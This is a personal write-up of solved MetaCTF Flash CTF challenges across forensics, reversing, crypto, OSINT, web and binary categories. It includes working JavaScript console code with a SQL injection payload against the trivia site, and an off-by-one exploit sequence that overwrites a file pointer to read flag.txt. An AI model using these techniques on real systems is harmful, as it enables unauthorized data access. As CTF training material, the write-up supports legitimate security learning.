8 - August
MetaCTF August 2025 Flash CTF (24th / 1423) -- It was a pleasure doing a full clear for the first time, but I was so close...
1. Challenges
Thu, August 28th
5:00 PM - CTF Starts
7:00 PM - CTF Ends
They also have official writeups for your references

Forensics — Baby Something

How does the song go again? Baby something do do do do do do...
Download the artifact here.
You received a
babysomething.pcap
fileYou can see that the intended solution involves opening the file in Wireshark and analyzing it there.
However, since I saw this was a 50-point challenge, I decided to take the lazy approach instead:
tshark -r babysomething.pcap -V
MetaCTF{w1r3sh4rk_d00_d00_d00_d00_d00_d00}

Rev — All About Flags

I wrote a command line application all about flags! Can you take a look at it for me?
There's downloads both for Windows and Linux, but they're functionally the same, just download the version for whichever OS you prefer.
I did my usual routine and ...that is all
MetaCTF{I_f1y_m4ny_fl4g5_4nd_c4p7ur3_3v3n_m0r3}

The intended solution is actually to run the executable, though. Which, ehm... makes sense.
❯ chmod +x all-about-flags
❯ ./all-about-flags --help
Usage: ./all-about-flags [OPTIONS]
All About Flags - A utility for validating and displaying the MetaCTF Flash CTF - "All About Flags" challenge flag
Options:
--flag
Display the challenge flag
--help
Show this help message
--verbose
Enable verbose output
--version
Show version information
Examples:
./all-about-flags --flag Display the challenge flag
./all-about-flags --flag --verbose Display flag with verbose output
./all-about-flags --version Show version information
./all-about-flags --help Show this help message
Exit Codes:
0 Success
1 Error or invalid usage
2 Flag not found or invalid
❯ ./all-about-flags --flag
MetaCTF{I_f1y_m4ny_fl4g5_4nd_c4p7ur3_3v3n_m0r3}
Crypto — Rainbow Box

Several planes crashed in the same location, but we could only find one black box. All we found was this weird rainbow image? Can you make anything out?
Download the image here.
tbh 🤷♂️, my first instinct was that the hidden flag was a QR code or something where all the pixels had been scrambled here and there.
So I checked the pixels and examined the dimensions to see if it fits 25x25, etc.
Then I decided on a whim to throw it into my favorite tool
From that... the answer is just a breeze — click and take notes

Another tool will help you visualize this will be:\\

MetaCTF{fly-b1tpl4ne}
OSINT — On The Grid

I was hanging out on Granite Beach when I found a message in a bottle, it didn't say very much though. Can you help me figure out where it came from? Here's the transcript:
Help!
4V FH 246 677
The answer to the challenge is the name of the location the message was most likely written at.
Some searches and llms will lead you to MGRS (Military Grid Reference System)
Plug it in

My first couple attempts that I thought it was simple Alaska so I shoot myself in the foot w that

Google Map will leads us here

Flag:
Sutwik Island
However, the official writeup said that the answer is
Foogy Cape
(which is just a zoom in specific location of the island)

Web — Super Quick Logic Invitational

I'll take "Rather Vexing" for 500 Alex.
This new trivia game is pretty fun, but one of the challenges is impossible! "What is the flag for this CTF challenge?", how would I know?! Maybe you'll fare better?

Lets hit up the site and see what we are dealing with
After reconnaissance we could pull up the script in the game, I first spotted the
function stopTimer() {
if (timerInterval) {
clearInterval(timerInterval);
timerInterval = null;
}
}
So simply input that in the console (the game time will stop and give us time to do our shenanigans.
Paste stopTimer()
into the console

The frontend lets you pull new questions from
/next_problem
.function loadNextProblem() { console.log('Loading next problem...'); ... // Get next problem from server fetch('/next_problem') ... }
The backend builds a SQL string like
SELECT * FROM problems WHERE id = <id> AND answer = '<user_input>'
and even returns the failed SQL back to the client on error.This can be confirm when we input special characters like
'";:[{]}|
and the code leak in the source.
if (data.error) {
if (data.query) { // <== 🔴 leak -- so sql inject
resultDiv.innerHTML = 'SQL Error occurred'; // <== 🔴 leak -- hehehe
`;
}
}
So our exploit process is straight forward, if we can cause a DB error, we’ll see the exact SQL the server tried to run.

Next, this will go to the next problem until we stop at the last problem — At this point the page reads: “What is the flag for this CTF challenge?” — paste the code below to the console
(async () => {
// ignore the client’s “no duplicates”
if (typeof usedProblems !== 'undefined') usedProblems.clear();
// keep asking the server for a new problem until we hit the flag
for (;;) {
const j = await (await fetch('/next_problem')).json();
// show it on screen so we can see it
document.getElementById('problem').textContent = j.question;
if (/flag.*ctf/i.test(j.question)) {
console.log('HIT:', j.question);
break;
}
}
})(); // paste this into the console

Finally, we send our
regard, I mean payloadOn the flag question, our payload will short-circuits the WHERE clause to true by selecting the flag row, the server will think our answer is
(id = <current_id> AND ...) OR (id = 201)
which is true when we are at question 201. And then route to/game_end
(async () => {
const csrf = document.querySelector('input[name="csrf_token"]').value;
const payload = "' OR id = 201 -- ";
const res = await fetch('/submit', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: new URLSearchParams({ answer: payload, csrf_token: csrf })
});
const data = await res.json();
console.log(data.correct ? 'Marked SOLVED' : 'Not solved', data);
location.href = '/game_end';
})();
The reason why it is 201 is because when we are at the question "What is the flag...", we break the sql again so it reveals to us
Also the challenge description, bro literally said "201 unique problems to solve each game, you'll never believe what's the answer to challenge 201"
Error: unrecognized token: "";:[{]}\|,<.>/?'"
Query: SELECT * FROM problems WHERE id = 201 AND answer = ''";:[{]}\|,<.>/?'

MetaCTF{wh4t_1s_7h3_fl4g_f0r_7hi5_ch5l1eng3}
Binary Exploitation — Spreadsheet

I can't afford Office 365 so I've decided to roll my own. What could possibly go wrong!
My spreadsheet application is a work in progress but feel free to give it a try. You can download my program here.
Try it live here:
nc kubenode.mctf.io 31009
If that instance is not working, there is a backup instance at:nc host5.metaproblems.com 754
2
tldr; The program stores a 10×10 grid of char*
in .bss
right before a global pointer named savefile
.
edit_spreadsheet()
bounds-checks the row as 1..10
but allows the column letter up to 'K'
(off-by-one). Writing to cell K10 therefore writes one pointer past the grid and overwrites savefile
.
Set it to flag.txt
, then Load → Print.
E
K10
flag.txt
L
P
Because the service is jailed at /srv/app
, the correct in-jail path is flag.txt
(or /flag.txt
), not /srv/app/flag.txt
. (My mistake for not reading the dockerfile)
FROM pwn.red/jail:latest
COPY --from=ubuntu:22.04 / /srv
COPY spreadsheet.bin /srv/app/run
COPY flag.txt /srv/app/flag.txt
RUN ln -s /tmp/spreadsheet.csv /srv/app/spreadsheet.csv
ENV JAIL_TMP_SIZE=4096
Okay, now after the moment I realized the flag is not directly in the hex of the bin (Forensics - duh), and some address manipulation (Binary Exploit), I throw it into dogbolt and get the ghidra decompiler code to works.
// init: set default filename
savefile = strdup("spreadsheet.csv");
void edit_spreadsheet(void) {
char col; int row; char val[1024];
scanf("%c%d%*c", &col, &row);
...
if ((((row < 1) || (10 < row)) || (col < 'A')) || ('K' < col)) {
puts("Error: bad cell");
} else {
free(spreadsheet[row-1][col-'A']);
spreadsheet[row-1][col-'A'] = strdup(val); // ❌ accepts 'K'
}
}
void load_spreadsheet(void) {
FILE *fp = fopen(savefile, "r");
...
while (fgets(line, 0x400, fp) && strlen(line) > 1) {
int col = 0;
char *val = strtok(line, ",");
while (val) {
free(spreadsheet[row][col]);
spreadsheet[row][col] = strdup(val); // (no col<=9 check)
val = strtok(NULL, ",");
col++;
}
row++;
}
}
void save_spreadsheet(void) {
FILE *fp = fopen(savefile, "w");
for (row=0; row<10; row++)
for (col=0; col<10; col++)
fprintf(fp, "%s,", spreadsheet[row][col]);
fputc('\n', fp);
}
That's when I realized:
Edit OOB (off-by-one): column allows
'K'
, socol-'A' == 10
is written, overflowing row’s 10-element row.
Why
K overwrites savefile
?
$ nm -n spreadsheet.bin | egrep ' spreadsheet$| savefile$'
0000000000004060 B spreadsheet # 10×10 pointers = 100 * 8 = 0x320 bytes
0000000000004380 B savefile # immediately after spreadsheet
The grid occupies indices
0..99
; the next pointer (index 100) issavefile
. Valid indices are:0..99
(A1..J10).K10 →
(10-1)*10 + ('K'-'A' = 10) = 9*10 + 10 = 100
→ exactly one past the array →savefile
.Set cell K10 to the file you want to load (the flag), and the next
Load
willfopen(savefile, "r")
.
$ nc kubenode.mctf.io 31009
Options: (P)rint, (E)dit, (L)oad, (S)ave, (Q)uit
> E
Enter cell (i.e. 'B7'): K10
Enter new value: flag.txt
Value updated!
> L
Spreadsheet loaded!
> P
A B C D E F G H I J
1 MetaCTF{c0mm4_c0mm4_c0mm4_c0mma_c0mm4_ch4m3l30n} EMPTY ...
MetaCTF{c0mm4_c0mm4_c0mm4_c0mma_c0mm4_ch4m3l30n}
🚩gg.
Last updated